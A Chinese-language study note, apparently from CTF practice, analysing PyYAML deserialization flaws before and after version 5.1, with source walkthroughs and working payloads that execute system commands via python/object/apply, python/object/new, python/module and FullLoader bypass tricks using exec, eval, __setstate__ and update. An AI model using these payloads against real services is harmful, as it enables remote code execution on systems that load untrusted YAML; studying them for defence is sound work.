PyYaml 反序列化
之前做题还是比赛的时候碰到过一次,不是很懂原理,最近整理成知识块出来。
PyYaml使用方法
!!
标签用于描述yaml
文件存储的数据转化为python对象的解析格式
import yaml
import os
poc1 = "!!python/object/apply:nt.system [calc.exe]"
poc2 = '!!python/object/new:os.system ["calc.exe"]'
yaml.load(poc1, Loader=yaml.Loader)
yaml.load(poc2, Loader=yaml.Loader)
调试
PyYaml < 5.1 的反序列化分析
1. python/object/apply
demo:
import yaml
poc1 = "!!python/object/apply:os.system ['calc.exe']"
# yaml.load("""
#!!python/object/apply:subprocess.Popen
# - calc
#""")
yaml.load(poc1, Loader=yaml.Loader)
主要经过了construct_python_object_apply
该函数进行构造
-
在load函数中进行了Lodaer的加载,然后跟进get_singler_data
-
get_single_node返回node链表,然后再作为参数进入construct_document
- 然后在进入construct_object
- 重点关注constructor并进入
- 在
construct_python_object_apply
函数中,首先提取参数等。然后重点关注,find_python_instance
函数并进入
- 重点进入
find_python_name
首先提取了module_name
和object_name
,然后使用__import__
方法进行导入相应包
然后通过字典索引访问获取对应句柄:module = sys.modules[module_name]
最后通过getattr
方法获取对应的方法
- 最后
cls(*args, **kwds)
执行函数
2. python/object/new
import yaml
poc2 = "!!python/object/new:os.system ['calc.exe']" #
yaml.load(poc2, Loader=yaml.Loader)
对于new则进入相应的函数construct_python_object_new
本质上还是在调用construct_python_object_apply
3. python/object
在漏洞利用上必须使用如下格式:
!!python/object: {..}
所以一般使用无参函数来执行
4. python/module:package.class
先部署恶意文件
在相同目录下:
import yaml
poc = "!!python/module:evil"
yaml.load(poc, Loader=yaml.Loader)
- 调用栈如下
- 主要区别是进入
constructor
之后,函数为construct_python_module
- 然后在
find_python_module
里导入相应的文件并且执行
5. python/name
可以读一些关键的环境变量
secret = "flag_is_here"
# 获得__main__的符号表
poc = "!!python/name:__main__.secret"
exp = yaml.load(poc, Loader=yaml.Loader)
print(exp)
- 对应的函数为
construct_python_name
- 然后进入
find_python_name
,导入__main__
,然后使用__import__
导入并使用getattr
获取参数
PyYaml >= 5.1 的反序列化分析
1. 新增的机制
- 关于Loader:
对Loader进行新增和划分
BaseConstructor
:没有任何强制类型转换SafeConstructor
:只有基础类型的强制类型转换UnsafeConstructor
:支持全部的强制类型转换Constructor
:等同于UnsafeConstructor
以及会在yaml.load
的时候进行warn提示使用合理的loader
2. 受影响的函数和构造器
在使用UnsafeLoader和Loader的情况下,小于5.1的payload一般都可以使用
import yaml
exp = ".."
yaml.unsafe_load(exp)
yaml.unsafe_load_all(exp) # return生成器
yaml.load(exp, Loader=yaml.UnsafeLoader)
yaml.load(exp, Loader=yaml.Loader)
yaml.load_all(exp, Loader=yaml.UnsafeLoader)
yaml.load_all(exp, Loader=yaml.Loader)
3. Attack
1. FullConstructor-Attack
FullConstructor
:除了python/object/apply
之外都支持,但是加载的模块必须位于sys.modules
中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
整个调用流程与低于5.1版本的yaml反序列化过程差不多,主要是在find_python_name
函数中有所不同
在不使用UnsafeLoader的时候,unsafe会取默认值为False。所以无法进行__import__
:
def find_python_name(self, name, mark, unsafe=False):
if not name:
raise ConstructorError("while constructing a Python object", mark,
"expected non-empty name appended to the tag", mark)
if '.' in name:
module_name, object_name = name.rsplit('.', 1)
else:
module_namque = 'builtins'
object_name = name
if unsafe: # FullLoader加载器无法运行这段代码
try:
__import__(module_name)
except ImportError as exc:
raise ConstructorError("while constructing a Python object", mark,
"cannot find module %r (%s)" % (module_name, exc), mark)
if not module_name in sys.modules: # 只允许加载sys.modules中模块
raise ConstructorError("while constructing a Python object", mark,
"module %r is not imported" % module_name, mark)
module = sys.modules[module_name]
if not hasattr(module, object_name):
raise ConstructorError("while constructing a Python object", mark,
"cannot find %r in the module %r"
% (object_name, module.__name__), mark)
return getattr(module, object_name)
而且也会检查find_python_name
的返回结果是否为type
所以加载进来的getattr(module, object_name)必须是类,不能是函数
可以使用函数的情况来测试下:
payload:!!python/object/new:builtins.eval [“print(1)”]
import yaml
FailPoc = "!!python/object/new:builtins.eval [“print(1)”]"
yaml.load(FailPoc, Loader=yaml.FullLoader)
嘿嘿嘿,直接抛出异常了
- 可用payload
poc1="""
!!python/object/apply:subprocess.Popen
- whoami
"""
poc2 = """
tuple(map(eval, ["__import__('os').system('whoami')"]))
"""
# 其中tuple可以换成list、map、set、Bytes、frozenset等
2. extend-Attack
这是在Boogipop的博客上看到的trick,甚是奇妙,有点”偷梁换柱“的美感
payload
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('calc.exe')"
分析:
首先这是一个type类型,然后将extend参数设置为!!python/name:exec
最后是需要声明listitem
,如果我们可以将extend的方法替换成相应的eval等,那么也就可以执行listitems中的内容了
3. setstate-Attack、update-Attack
由第二种方法同理可以衍生出类似的方法,只需要寻找类似的模式即可:
payload如下:
# 打instance.__setstate__
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:exec }
state: "__import__('os').system('calc.exe')"
# 打slostate.update
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
update-attack:多层嵌套的反序列化
反序列化原则:由内到外
首先加载!!python/object/new:staticmethod
由于设置了state,所以进入该函数内,为字典进行更新
此时该对象含有了键值对
update: !!python/name:eval
items: !!python/name:list
然后加载最外层的str
由于payload中设置了state参数,所以进入set_python_instance_state
首先先进行解包获得恶意代码state,由于str没有__dict__
属性,所以绕过了hasattr,直接执行slotstate.update(state)
PyYaml的5.2-6.0下的问题
高版本下这个洞就gg了